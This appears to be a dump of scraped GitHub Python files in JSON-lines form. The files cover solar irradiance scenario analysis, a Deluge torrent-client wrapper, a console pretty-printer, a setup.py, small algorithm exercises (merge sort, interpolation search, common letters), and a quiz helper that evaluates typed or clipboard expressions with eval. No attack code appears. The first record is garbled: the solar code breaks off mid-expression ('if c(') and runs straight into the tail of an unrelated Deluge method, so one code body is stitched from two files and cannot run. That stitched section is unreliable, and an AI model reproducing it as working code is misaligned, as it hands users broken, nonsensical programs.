zip(fulldatamonths,fulldatapoints):\n\t\tif t=='1/2019':\n\t\t\tbreak\n\t\tmonth=int(t.split('/')[0])\n\t\tif 'ibm' in d.keys():\n\t\t\tmonthlyibmdata[month].append(d[\"ibm\"])\n\t\tif 'nrel' in d.keys():\n\t\t\tmonthlynreldata[month].append(d['nrel'])\n\t\tif 'also' in d.keys():\n\t\t\tmonthlyalsodata[month].append(d['also'])\n\n\tibmavgmonth=[np.mean(value) for value in monthlyibmdata.values()]\n\tnrelavgmonth=[np.mean(value) for value in monthlynreldata.values()]\n\tibmstdmonth=[np.std(value) for value in monthlyibmdata.values()]\n\tnrelstdmonth=[np.std(value) for value in monthlynreldata.values()]\n\talsoavgmonth=[(np.mean(value) if len(value) > 0 else 0) for value in monthlyalsodata.values()]\n\t\n\tIrradiance={'InvestmentBaseline':altusbaseline,'NSRDB Average':nrelavgmonth,'TWC (IBM) Average)':ibmavgmonth,'TMY':tmy}\n\n#1.3 Base Year Scenario\n#1.3.1 Investment Irradiance Baseline Scenario\n\tpoabaseline=[]\n\tnetprodbaseline=[]\n\tfor i in range(1,13):\n\t\tpoabaseline.append(float(POA[str(i)]))\n\t\tnetprodbaseline.append(float(NetOutput[str(i)]))\n\n\tpoafactor=[]\n\tPR=[]\n\tMonthlyOutputContribution_baseline=[]\n\tfor (base,p,noutput) in zip(altusbaseline,poabaseline,netprodbaseline):\n\t\tpoafactor.append(p/float(base))\n\t\tPR.append(noutput/(p*FirstDCsize/1000))\n\t\tPRpercent=['{:.2%}'.format(i) for i in PR]\n\t\tMonthlyOutputContribution_baseline.append('{:.2%}'.format(noutput/np.sum(netprodbaseline)))\n\n\tBaselineScenario={'poabaseline':poabaseline,'poafactor':poafactor,'netprodbaseline':netprodbaseline,'PR':PRpercent,'MonthlyOutputContribution_baseline':MonthlyOutputContribution_baseline}\n\n#1.3.2NSRDB Avgerage Scenario\n\tpoanrel=[a*b for (a,b) in zip(nrelavgmonth,poafactor)]\n\tnetprodnrel=[c*d*FirstDCsize/1000 for (c,d) in zip(poanrel,PR)]\n\tPRrationrel=[a/(FirstDCsize*b/1000) for (a,b) in zip(netprodnrel,poanrel)]\n\tPRnrelpercent=['{:.2%}'.format(i) for i in PRrationrel]\n\tMonthlyOutputContribution_nrel=['{:.2%}'.format(i/np.sum(netprodnrel)) for i in netprodnrel]\n\n\tNRELScenario={'poanrel':poanrel,'netprodibm':netprodnrel,'PRrationrel':PRnrelpercent,'MonthlyOutputContribution_nrel':MonthlyOutputContribution_nrel}\n\n#1.3.3TWC(IBM) Average Scenario\n\tpoaibm=[a*b for (a,b) in zip(ibmavgmonth,poafactor)]\n\tnetprodibm=[c*d*FirstDCsize/1000 for (c,d) in zip(poaibm,PR)]\t\n\tPRratioibm=[a/(FirstDCsize*b/1000) for (a,b) in zip(netprodibm,poaibm)]\n\tPRibmpercent=['{:.2%}'.format(i) for i in PRratioibm]\n\tMonthlyOutputContribution_ibm=['{:.2%}'.format(i/np.sum(netprodibm)) for i in netprodibm]\n\n\tIBMScenario={'poaibm':poaibm,'netprodibm':netprodibm,'PRratioibm':PRibmpercent,'MonthlyOutputContribution_ibm':MonthlyOutputContribution_ibm}\n\n#1.3.4 TMY Scenario\n\tpoatmy=[a*b for (a,b) in zip(tmy,poafactor)]\n\tnetprodtmy=[c*d*FirstDCsize/1000 for (c,d) in zip(poatmy,PR)]\t\n\tPRratiotmy=[a/(FirstDCsize*b/1000) for (a,b) in zip(netprodtmy,poatmy)]\n\tPRtmypercent=['{:.2%}'.format(i) for i in PRratiotmy]\n\tMonthlyOutputContribution_tmy=['{:.2%}'.format(i/np.sum(netprodtmy)) for i in netprodtmy]\n\n\tTMYScenario={'poatmy':poatmy,'netprodtmy':netprodtmy,'PRratiotmy':PRtmypercent,'MonthlyOutputContribution_tmy':MonthlyOutputContribution_tmy}\n\n#1.3.5 Weather Station (Also) Scenario\n\tpoaalso=[a*b for (a,b) in zip(alsoavgmonth,poafactor)]\n\tnetprodalso=[c*d*FirstDCsize/1000 for (c,d) in zip(poaalso,PR)]\n\tnpasum = np.sum(netprodalso) if np.sum(netprodalso) != 0 else 1\n\tPRratioalso=[(a/(FirstDCsize*b/1000) if b != 0 else 0) for (a,b) in zip(netprodalso,poaalso)]\n\tPRalsopercent=['{:.2%}'.format(i) for i in PRratioalso]\n\tMonthlyOutputContribution_also=['{:.2%}'.format(i/npasum) for i in netprodalso]\n\n\tAlsoScenario={'poaalso':poaalso,'netprodalso':netprodalso,'PRratioalso':PRalsopercent,'MonthlyOutputContribution_also':MonthlyOutputContribution_also}\n\n#1.4 Lifetime Production table\n\tAdjustedDCsize=[]\n\tfor i in range(Maturity+1):\n\t\tAdjustedDCsize.append(FirstDCsize*((1-degradation)**i))\n\tstartyear=int(datetime.strptime(startdate,\"%m/%d/%Y\").year)\n\tendyear=startyear+Maturity\n\tDCsizeDict={a:b for (a,b) in zip(range(startyear,endyear+1),AdjustedDCsize)}\n\tAdjustedNominalProd=[i*P50_POA/1000 for i in AdjustedDCsize]\n\tAdjustedYearlyInvBaselineProd=[PRratio*i for i in AdjustedNominalProd]\n\tAdjustedInvBaselineProdDict={a:b for (a,b) in zip(range(startyear,endyear+1),AdjustedYearlyInvBaselineProd)}\n\tYear=range(startyear,endyear+1)\n\tYearOperation=range(Maturity+1)\n\tLifetimeProdTable={'Year':Year,'YearOperation':YearOperation,'AdjustedDCsize':DCsizeDict,'AdjustedNominalProd':AdjustedNominalProd,'AdjustedYearlyInvBaselineProd':AdjustedYearlyInvBaselineProd}\n\n#2 PED Irradiance Baseline Analysis\n#2.1 Monthly Irradiance\n\t# Get full datasets for nrel and ibm\n\tnrelfulldatapoints=[]\n\tibmfulldatapoints=[]\n\tfor (point,d) in zip(fulldatapoints,fulldatamonths):\n\t\tif d=='1/2019':\n\t\t\tbreak\n\t\tif 'ibm' in point.keys():\n\t\t\tibmfulldatapoints.append(point[\"ibm\"])\n\t\tif 'nrel' in point.keys():\n\t\t\tnrelfulldatapoints.append(point[\"nrel\"])\n\n\t#Get the PED Calibration and Monthly standard deviation in percentage for each month\n\tPED_Calibration=[]\n\tMonthlyStDev=[]\n\tnrelirrweight=reportdata[\"sysinfo\"][\"GHI Weights\"][\"NSRDB Irradiance Weight\"]\n\tibmirrweight=reportdata[\"sysinfo\"][\"GHI Weights\"][\"TWC (IBM) Irradiance Weight\"]\n\ttmyirrweight=reportdata[\"sysinfo\"][\"GHI Weights\"][\"TMY Irradiance Weight\"]\n\tnrelstdweight=reportdata[\"sysinfo\"][\"StDev Weights\"][\"NSRDB Standard Deviation Weight\"]\n\tibmstdweight=reportdata[\"sysinfo\"][\"StDev Weights\"][\"TWC (IBM) Standard Deviation Weight\"]\n\ttmystdweight=reportdata[\"sysinfo\"][\"StDev Weights\"][\"TMY Standard Deviation Weight\"]\n\tmodeluncertainty=reportdata[\"sysinfo\"][\"Source Data Model Uncertainty\"]\n\n\tfor (NREL,IBM,TMY) in zip(nrelavgmonth,ibmavgmonth,tmy):\n\t\tPED_Calibration.append(NREL*nrelirrweight+IBM*ibmirrweight+TMY*tmyirrweight)\n\tfor (NREL,IBM,calibration,baseline) in zip(nrelstdmonth,ibmstdmonth,PED_Calibration,altusbaseline):\n\t\tstd=np.sqrt((NREL*nrelstdweight+IBM*ibmstdweight)**2+(baseline*modeluncertainty)**2)/calibration\n\t\tMonthlyStDev.append(\"{:.2%}\".format(std))\n\n\tMonthly_Irradiance={\"InvIrrBaseline\":altusbaseline,\"PED_Calibration\":PED_Calibration,\"MonthlyStDev\":MonthlyStDev}\n\n#2.2 PED Irradiance Analysis Summary\n\t#Calculate the 12 months straight rolling numbers and then get the Standard Deviation\n\tnrelmonthrolling=[]\n\tibmmonthrolling=[]\n\tnrelmonthsum=0\n\tibmmonthsum=0\n\tfor i in range(0,len(nrelfulldatapoints)-11):\n\t\tfor r in range(i,i+12):\n\t\t\tnrelmonthsum+=nrelfulldatapoints[r]\n\t\tnrelmonthrolling+=[nrelmonthsum]\n\t\tnrelmonthsum=0\n\tfor i in range(0,len(ibmfulldatapoints)-11):\n\t\tfor r in range(i,i+12):\n\t\t\tibmmonthsum+=ibmfulldatapoints[r]\n\t\tibmmonthrolling+=[ibmmonthsum]\n\t\tibmmonthsum=0\n\n\tmonthrolling=[]\n\tnrelweight=1\n\tibmweight=1\n\tfor c in range(max(len(nrelmonthrolling),len(ibmmonthrolling))):\n\t\tif c(\" + reasontext + \")\")\n\t\ttry:\n\t\t\twhile self.delugeinterface.connected == False:\n\t\t\t\tself.delugeinterface.connect()\n\t\t# print \"=========================================================\"\n\t\t# print self.delugeinterface.call('client.api_methods')\n\t\t# print \"=========================================================\"\n\t\t# WORKS! print self.delugeinterface.call('core.get_free_space')\n\t\t# print \"=========================================================\"\n\t\t# WORKS! print self.delugeinterface.call('core.get_config')\n\t\t# print \"=========================================================\"\n\t\t\toutcome = self.delugeinterface.connected\n\t\texcept Exception as errortype:\n\t\t\toutcome = None\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to connect to deluge client (\", errortype, \")\")\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Closes the open connection with the deluge daemon\n# =========================================================================================\n\n\tdef closeconnection(self):\n\n\t\ttry:\n\t\t\twhile self.delugeinterface.connected == True:\n\t\t\t\tself.delugeinterface.disconnect()\n\t\t\toutcome = self.delugeinterface.connected\n\t\texcept Exception as errortype:\n\t\t\toutcome = None\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to disconnect from deluge client (\", errortype, \")\")\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Returns a list of strings, one per torrent, providing the GUID of each torrent\n# =========================================================================================\n\n\tdef retrievetorrentlist(self):\n\n\t\ttry:\n\t\t\toutcome = []\n\t\t\trawtorrentlist = self.delugeinterface.call('core.get_session_state')\n\n\t\t\tfor rawtorrentid in rawtorrentlist:\n\t\t\t\toutcome.append(rawtorrentid.decode(\"ascii\", \"ignore\"))\n\n\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to retrieve torrent list (\", errortype, \")\")\n\t\t\toutcome = None\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Returns a structured/layered dictionary of information about a specified (by GUID) torrent\n# =========================================================================================\n\n\tdef retrievetorrentdata(self, torrentid):\n\n\t\ttry:\n\t\t\toutcome = {}\n\t\t\trawtorrentdata = self.delugeinterface.call('core.get_torrent_status', torrentid, self.delugekeysfortorrentinfo)\n\n\n\t\t\tfor itemkey in rawtorrentdata:\n\t\t\t\titemdata = rawtorrentdata[itemkey]\n\t\t\t\tnewkeyname = itemkey.decode(\"utf-8\", \"ignore\")\n\n\t\t\t\tif isinstance(itemdata, bytes) == True:\n\t\t\t\t\toutcome[newkeyname] = itemdata.decode(\"utf-8\", \"ignore\")\n\n\t\t\t\telif isinstance(itemdata, tuple) == True:\n\t\t\t\t\tnewlist = []\n\t\t\t\t\tfor subitem in itemdata:\n\t\t\t\t\t\tnewsubdictionary = {}\n\t\t\t\t\t\tfor subitemkey in subitem:\n\t\t\t\t\t\t\tnewsubitemkey = subitemkey.decode(\"utf-8\", \"ignore\")\n\t\t\t\t\t\t\tif isinstance(subitem[subitemkey], bytes) == True:\n\t\t\t\t\t\t\t\tnewsubitemdata = subitem[subitemkey].decode(\"utf-8\", \"ignore\")\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tnewsubitemdata = subitem[subitemkey]\n\t\t\t\t\t\t\tnewsubdictionary[newsubitemkey] = newsubitemdata\n\t\t\t\t\t\tnewlist.append(newsubdictionary)\n\t\t\t\t\toutcome[newkeyname] = newlist\n\n\t\t\t\telse:\n\t\t\t\t\toutcome[newkeyname] = itemdata\n\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to retrieve torrent data for \" + torrentid + \" (\", errortype, \")\")\n\t\t\toutcome = None\n\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Adds a new torrent to the daemon, using the specified link URL\n# Returns the GUID of the added torrent\n# =========================================================================================\n\n\tdef addtorrentlink(self, linkstring):\n\n\t\ttry:\n\t\t\tif linkstring[:7] == \"magnet:\":\n\t\t\t\tnewtorrentid = self.delugeinterface.call('core.add_torrent_magnet', linkstring, {})\n\t\t\telse:\n\t\t\t\tnewtorrentid = self.delugeinterface.call('core.add_torrent_url', linkstring, {})\n\t\t\toutcome = newtorrentid.decode(\"ascii\", \"ignore\")\n\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to add new torrent (\", errortype, \")\")\n\t\t\toutcome = None\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Instigates a recheck of the specified (by GUID) torrent\n# (Returns the RPCClient response, an unknown object)\n# =========================================================================================\n\n\tdef rechecktorrent(self, torrentids):\n\n\t\ttry:\n\t\t\toutcome = self.delugeinterface.call('core.force_recheck', torrentids)\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to force recheck of torrent \" + torrentids + \" (\", errortype, \")\")\n\t\t\toutcome = None\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Pauses the specified (by GUID) torrent\n# If \"ALL\" is specified, all torrents in the daemon are paused\n# (Returns the RPCClient response, an unknown object)\n# =========================================================================================\n\n\tdef pausetorrent(self, torrentid):\n\n\t\ttry:\n\t\t\tif torrentid == \"ALL\":\n\t\t\t\toutcome = self.delugeinterface.call('core.pause_all_torrents')\n\t\t\telse:\n\t\t\t\toutcome = self.delugeinterface.call('core.pause_torrent', [torrentid])\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to pause torrent \" + torrentid + \" (\", errortype, \")\")\n\t\t\toutcome = None\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Unpauses the specified (by GUID) torrent\n# If \"ALL\" is specified, all torrents in the daemon are unpaused\n# (Returns the RPCClient response, an unknown object)\n# =========================================================================================\n\n\tdef resumetorrent(self, torrentid):\n\n\t\ttry:\n\t\t\tif torrentid == \"ALL\":\n\t\t\t\toutcome = self.delugeinterface.call('core.resume_all_torrents')\n\t\t\telse:\n\t\t\t\toutcome = self.delugeinterface.call('core.resume_torrent', [torrentid])\n\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to resume torrent \" + torrentid + \" (\", errortype, \")\")\n\t\t\toutcome = None\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Deletes the specified (by GUID) torrent\n# (Returns the RPCClient response, an unknown object)\n# =========================================================================================\n\n\tdef deletetorrent(self, torrentid):\n\n\t\ttry:\n\t\t\toutcome = self.delugeinterface.call('core.remove_torrent', torrentid, True)\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to delete torrent \" + torrentid + \" (\", errortype, \")\")\n\t\t\toutcome = None\n\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Returns a dictionary of information about the daemon session\n# =========================================================================================\n\n\tdef retrievesessiondata(self):\n\n\t\ttry:\n\t\t\trawstats1 = self.delugeinterface.call('core.get_session_status', self.delugekeysforsessioninfo)\n\t\t\trawstats2 = self.delugeinterface.call('core.get_free_space')\n\n\t\t\toutcome = {}\n\t\t\toutcome['uploadspeed'] = rawstats1[b'payload_upload_rate']\n\t\t\toutcome['downloadspeed'] = rawstats1[b'payload_download_rate']\n\t\t\toutcome['uploadedtotal'] = rawstats1[b'total_payload_upload']\n\t\t\toutcome['freespace'] = rawstats2 / 1000000000\n\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to retrieve session data (\", errortype, \")\")\n\t\t\toutcome = None\n\n\n\t\treturn outcome\n\n\n","repo_name":"johnpcole/Download-Manager","sub_path":"codebase/common_components/deluge_framework/deluge_class.py","file_name":"deluge_class.py","file_ext":"py","file_size_in_byte":10128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"32468476503","text":"# Standard Library\nimport os\nimport pprint\nimport re\nimport shutil\nimport sys\n\n__all__ = ['console']\n\nTERMINAL_COLUMNS, _ = shutil.get_terminal_size()\nSEPERATOR_CHAR = '.'\n\n\nclass Console:\n \"\"\"Console class holds the main functionality of console app.\"\"\"\n\n valid_options = [\n 'source',\n 'indent',\n 'width',\n 'enabled',\n 'seperator_char',\n 'colored',\n 'dir_colors',\n 'out_color',\n 'header_color',\n 'footer_color',\n 'basic',\n 'writer',\n ]\n default_options = dict(\n indent=4,\n width=TERMINAL_COLUMNS,\n seperator_line='{source:{char}<{width}}',\n seperator_char=SEPERATOR_CHAR,\n colored=False,\n dir_colors=dict(keys='yellow', values='default'),\n out_color='yellow',\n header_color='green',\n footer_color='green',\n basic=True,\n writer=sys.stdout,\n )\n colors = dict(\n black=0,\n red=1,\n green=2,\n yellow=3,\n blue=4,\n magenta=5,\n cyan=6,\n white=7,\n default=8,\n )\n\n def __init__(self, **options):\n self.options = dict()\n\n for default_option in self.default_options:\n self.options.update(\n [(default_option, self.default_options.get(default_option))]\n )\n\n enabled = False\n if os.environ.get('ENABLE_CONSOLE', False):\n if os.environ.get('ENABLE_CONSOLE').lower() in ['1', 'yes', 'true']:\n enabled = True\n\n self.options.update(enabled=enabled)\n self.configure(**options)\n\n def configure(self, **options):\n for option in options:\n if option not in self.valid_options:\n raise Exception(f'{option} is not a valid option')\n self.options.update([(option, options.get(option))])\n\n self.options.update(seperator_char=self.options.get('seperator_char')[0])\n\n def __call__(self, *args, **options):\n self.configure(**options)\n if args and self.options.get('enabled'):\n self.out(args, **options)\n\n def dir(self, *args, **options): # noqa: A003\n self.configure(**options)\n\n if not args or self.options.get('enabled') is False:\n return\n\n for arg in args:\n payload = dict()\n\n source_name = arg.__class__.__name__\n if source_name != 'type':\n source_name = f'instance of {source_name}'\n if hasattr(arg, '__name__'):\n source_name = arg.__name__\n\n source = f'{source_name} | {type(arg)}'\n\n dir_arg = dir(arg)\n all_dunders = list(filter(lambda i: i.startswith('_'), dir_arg))\n\n internal_methods = list(filter(lambda i: i.startswith('__'), all_dunders))\n private_methods = list(\n filter(lambda i: not i.startswith('_', 1), all_dunders)\n )\n public_attributes = list(filter(lambda i: not i.startswith('_'), dir_arg))\n\n if internal_methods:\n internal_methods.sort(key=str.casefold)\n payload.update(internal_methods=internal_methods)\n if private_methods:\n private_methods.sort(key=str.casefold)\n payload.update(private_methods=private_methods)\n if public_attributes:\n public_attributes.sort(key=str.casefold)\n payload.update(public_attributes=public_attributes)\n\n if hasattr(arg, '__dict__'):\n data_attributes = list(arg.__dict__.keys()).sort(key=str.casefold)\n payload.update(data_attributes=data_attributes)\n\n if hasattr(arg.__class__, '__dict__'):\n class_dict = arg.__class__.__dict__\n\n properties_list = list()\n static_methods_list = list()\n class_methods_list = list()\n methods_list = list()\n class_variables_list = list()\n\n for k in class_dict:\n class_name = class_dict[k].__class__.__name__\n\n if class_name == 'property':\n properties_list.append(k)\n if class_name == 'staticmethod':\n static_methods_list.append(k)\n if class_name == 'classmethod':\n class_methods_list.append(k)\n\n if not k.startswith('_'):\n if class_name == 'function':\n methods_list.append(k)\n if class_name in ['int', 'str', 'list', 'dict', 'set']:\n class_variables_list.append(k)\n\n if properties_list:\n properties_list.sort(key=str.casefold)\n payload.update(properties=properties_list)\n if static_methods_list:\n static_methods_list.sort(key=str.casefold)\n payload.update(static_methods=static_methods_list)\n if class_methods_list:\n class_methods_list.sort(key=str.casefold)\n payload.update(class_methods=class_methods_list)\n if methods_list:\n methods_list.sort(key=str.casefold)\n payload.update(methods=methods_list)\n if class_variables_list:\n class_variables_list.sort(key=str.casefold)\n payload.update(class_variables=class_variables_list)\n\n options.update(source=source)\n self.out(payload, **options)\n\n def out(self, elements, **options):\n source = self.options.get('source', 'n/a')\n\n if 'source' in options.keys():\n source = f\"{source} : {options.pop('source')}\"\n\n writer = self.options.get('writer')\n\n pretty_print = pprint.PrettyPrinter(\n indent=self.options['indent'],\n width=self.options['width'],\n compact=True,\n stream=writer,\n )\n\n header = self.options.get('seperator_line').format(\n source=f'[{source}]',\n char=self.options.get('seperator_char'),\n width=self.options.get('width'),\n )\n footer = self.options.get('seperator_char') * self.options.get('width')\n\n formated = pretty_print.pformat(elements)\n\n if self.options.get('colored') is True:\n out_color = self.colors.get(\n self.options.get('out_color', 'green'),\n )\n formated = f'\\033[3{out_color}m{elements}\\033[0m'\n\n if self.options.get('basic', True) is False:\n header_color = self.colors.get(\n self.options.get('header_color', 'green'),\n 'green',\n )\n header = f'\\033[3{header_color}m{header}\\033[0m'\n\n footer_color = self.colors.get(\n self.options.get('footer_color', 'green'),\n 'green',\n )\n footer = f'\\033[3{footer_color}m{footer}\\033[0m'\n\n key_color = self.colors.get(\n self.options.get('dir_colors').get('keys', 'yellow'),\n 'yellow',\n )\n value_color = self.colors.get(\n self.options.get('dir_colors').get('values', 'white'),\n 'white',\n )\n\n formated = re.sub(\n r\"'(\\w+)':\",\n fr\"\\033[3{key_color}m'\\1'\\033[0m: \\033[3{value_color}m\",\n formated,\n )\n\n if self.options.get('basic', True) is False:\n writer.write(f'{header}\\n')\n\n writer.write(f'{formated}\\n')\n\n if self.options.get('basic', True) is False:\n writer.write(f'{footer}\\n')\n\n\ndef console(**options):\n return Console(**options)\n","repo_name":"vbyazilim/vb-console","sub_path":"src/console/console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":7861,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"}
+{"seq_id":"5230329923","text":"from setuptools import setup, find_packages\n\n\nfrom os import path\nthis_directory = path.abspath(path.dirname(__file__))\nwith open(path.join(this_directory, 'tcomapi', 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(name='tcomapi',\n version='0.1.13',\n description='Bundle for getting open data from some KZ sites.',\n url='https://github.com/elessarelfstone/tcomapi',\n author='Dauren Sdykov',\n author_email='elessarelfstone@mail.ru',\n license='MIT',\n packages=find_packages(),\n include_package_data=True,\n python_requires='>=3.6.1',\n setup_requires=[\n 'wheel',\n ],\n install_requires=[\n 'aiohttp',\n 'attrs>=19.3.0',\n 'python-box>=3.4.5',\n 'requests>=2.22.0',\n 'xmltodict>=0.12.0',\n 'tqdm>=4.38.0'\n ],\n extras_require={\n 'dev': [\n 'setuptools>=38.6.0',\n 'wheel>=0.31.0',\n 'twine>=1.11.0',\n ],\n },\n entry_points={\n 'console_scripts': [\n 'kgd=tcomapi.kgd.__main__:main',\n 'sgov=tcomapi.sgov.__main__:main'\n ],\n },\n classifiers=[\n \"Programming Language :: Python :: 3.6\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Development Status :: 4 - Beta\",\n \"Environment :: No Input/Output (Daemon)\",\n \"Intended Audience :: System Administrators\",\n \"Natural Language :: English\",\n \"Topic :: Internet\",\n ],\n long_description=long_description,\n long_description_content_type='text/markdown',\n zip_safe=True)\n","repo_name":"elessarelfstone/tcomapi","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"}
+{"seq_id":"15352851036","text":"# Common Alphabets N Strings\n# N string values are passed as input to the program. Each string will contain only the alphabets a-z in lower case. A given alphabet may be repeated any number of times. The program must print the count C of the alphabets that are present in all the N string values.\n\n# Input Format:\n# The first line contains N.\n# Next N lines contain the N string values.\n\n# Output Format:\n# The first line contains C.\n\n# Boundary Conditions:\n# 2 <= N <= 500\n# 1 <= Length of the string value <= 1000\n\n# Example Input/Output 1:\n# Input:\n# 3\n# mnppqqr\n# ajkmnnm\n# poormanagement\n\n# Output:\n# 2\n\n# Explanation:\n# Only 2 alphabets m and n are present in all the three string values.\n\n\n\n\n\n\n\n\n\nn=int(input())\narr=[]\ncount = 0\nfor i in range(n):\n arr.append(input().strip())\nfor c in set(arr.pop(0)):\n flag = True\n for w in arr:\n if c not in w:\n flag = False\n if flag:\n count += 1 \nprint(count)","repo_name":"Logesh08/Programming-Daily-Challenges","sub_path":"Common Alphabets N Strings.py","file_name":"Common Alphabets N Strings.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"13899204631","text":"def merge_sort(array):\n # caso base: se já atingiu a menor porção (1)\n if len(array) <= 1:\n # retorne o array\n return array\n # calculo do pivot: índice que indica onde o array será particionado\n # no caso, metade\n mid = len(array) // 2\n # para cada metade do array\n # chama a função merge_sort de forma recursiva\n left, right = merge_sort(array[:mid]), merge_sort(array[mid:])\n # mistura as partes que foram divididas\n return merge(left, right, array.copy())\n\n\n# função auxiliar que realiza a mistura dos dois arrays\ndef merge(left, right, merged):\n\n left_cursor, right_cursor = 0, 0\n\n # enquanto nenhumas das partes é percorrida por completo\n while left_cursor < len(left) and right_cursor < len(right):\n\n # compare os dois itens das partes e insira no array de mistura o menor\n if left[left_cursor] <= right[right_cursor]:\n merged[left_cursor + right_cursor] = left[left_cursor]\n left_cursor += 1\n else:\n merged[left_cursor + right_cursor] = right[right_cursor]\n right_cursor += 1\n # a iteração acima irá inserir os elementos de forma ordenada\n\n # quando uma das partes termina, devemos garantir\n # que a outra sera totalmente inserida no array de mistura\n\n # itera sobre os elementos restantes na partição \"esquerda\"\n # inserindo-os no array de mistura\n for left_cursor in range(left_cursor, len(left)):\n merged[left_cursor + right_cursor] = left[left_cursor]\n\n # itera sobre os elementos restantes na partição \"direita\"\n # inserindo-os no array de mistura\n for right_cursor in range(right_cursor, len(right)):\n merged[left_cursor + right_cursor] = right[right_cursor]\n\n return merged\n\n\n# print(merge_sort([100, 4, 6, 33, 56, 67]))\n# print(merge_sort([7, 3, 5, 4, 6, 8, 2, 1]))\n","repo_name":"vanderson-henrique/trybe-exercises","sub_path":"COMPUTER-SCIENCE/BLOCO_37/37_3/exercicios/exercicio2_merge_sort.py","file_name":"exercicio2_merge_sort.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"24513135066","text":"from sequentials.sequential import Sequential\n\n\nclass InterpolationSearch(Sequential):\n\n def __init__(self):\n self.counts = []\n\n # вернёт индекс со значением элемента number или -1 в случае, если такого элемента в массиве нет\n def __search__(self, numbers, key):\n numbers = sorted(numbers)\n left = 0\n right = len(numbers) - 1\n count = 0\n\n while numbers[left] < key < numbers[right]:\n mid = left + (key - numbers[left]) * (right - left) // (numbers[right] - numbers[left])\n count += 1\n if numbers[mid] < key:\n left = mid + 1\n elif numbers[mid] > key:\n right = mid - 1\n else:\n self.counts.append(count)\n return mid\n\n if numbers[left] == key:\n count += 1\n self.counts.append(count)\n return left\n elif numbers[right] == key:\n count += 1\n self.counts.append(count)\n return right\n else:\n return -1\n","repo_name":"DrShpak/task3","sub_path":"sequentials/interpolation_search.py","file_name":"interpolation_search.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"38040450981","text":"from tabulate import tabulate\nimport win32clipboard\nimport time\n\n\ndef get_user_input(start_msg: str, input_msg: str):\n data = []\n\n print(start_msg)\n\n print(\"\"\"Available commands:\n 'exit': Exit the input\n '': Copy from clipboard\n 'autoclip': automatically copy when clipboard change (copy exit to exit)'\"\"\")\n\n while True:\n user_input = input(input_msg)\n if user_input == \"exit\":\n return data\n\n elif user_input == \"\":\n win32clipboard.OpenClipboard()\n clipboard_data = win32clipboard.GetClipboardData()\n win32clipboard.CloseClipboard()\n\n user_input = clipboard_data\n\n elif user_input == \"autoclip\":\n win32clipboard.OpenClipboard()\n win32clipboard.SetClipboardText(\"\")\n start_clipboard_data = win32clipboard.GetClipboardData()\n win32clipboard.CloseClipboard()\n while True:\n win32clipboard.OpenClipboard()\n clipboard_data = win32clipboard.GetClipboardData()\n win32clipboard.CloseClipboard()\n\n if clipboard_data == \"exit\":\n win32clipboard.OpenClipboard()\n win32clipboard.CloseClipboard()\n break\n\n if clipboard_data != start_clipboard_data:\n data.append(clipboard_data)\n print(f\"Auto-detected: {clipboard_data}\")\n\n start_clipboard_data = clipboard_data\n\n time.sleep(0.1)\n\n continue\n\n data.append(user_input)\n\n print(f\"Registered data: {user_input}\")\n\n\ndef mode_0():\n # Stage 1 - variable defining\n for x in get_user_input(\"Vennligs definer variablane.\", \"Definisjon:\"):\n exec(x)\n\n # Stage 2 - Executing comparisons\n\n comparison_table = [] # Skal inneholde tuples i rekkefølge (comparison, bool, float, int, list, (-error), str)\n\n print(\"Lets input all the comparisons.\")\n for x in get_user_input(\"Please enter expression to check\", \"Expression: \"):\n\n try:\n new_variable = eval(x)\n\n comparison_table.append(\n (x,\n \"X\" if isinstance(new_variable, bool) else \"\",\n \"X\" if isinstance(new_variable, float) else \"\",\n \"X\" if isinstance(new_variable, int) else \"\",\n \"X\" if isinstance(new_variable, list) else \"\",\n \"\",\n \"X\" if isinstance(new_variable, str) else \"\",\n type(new_variable)\n )\n )\n\n except Exception:\n comparison_table.append((x, \"\", \"\", \"\", \"\", \"X\", \"\", \"ERROR\"))\n\n # Stage 3 - Print it all out neatly\n\n print(tabulate(comparison_table, headers=(\"Expression\", \"bool\", \"float\", \"int\", \"list\", \"(-error-)\", \"str\", \"TYPE\"),\n tablefmt=\"fancy_grid\"))\n\n\ndef mode_1():\n comparison_table = [] # tuple: (expression, true, false)\n\n for x in get_user_input(\"Please input expressons to evaluate\", \"Expression: \"):\n try:\n\n evaluated = eval(x)\n\n comparison_table.append((x, 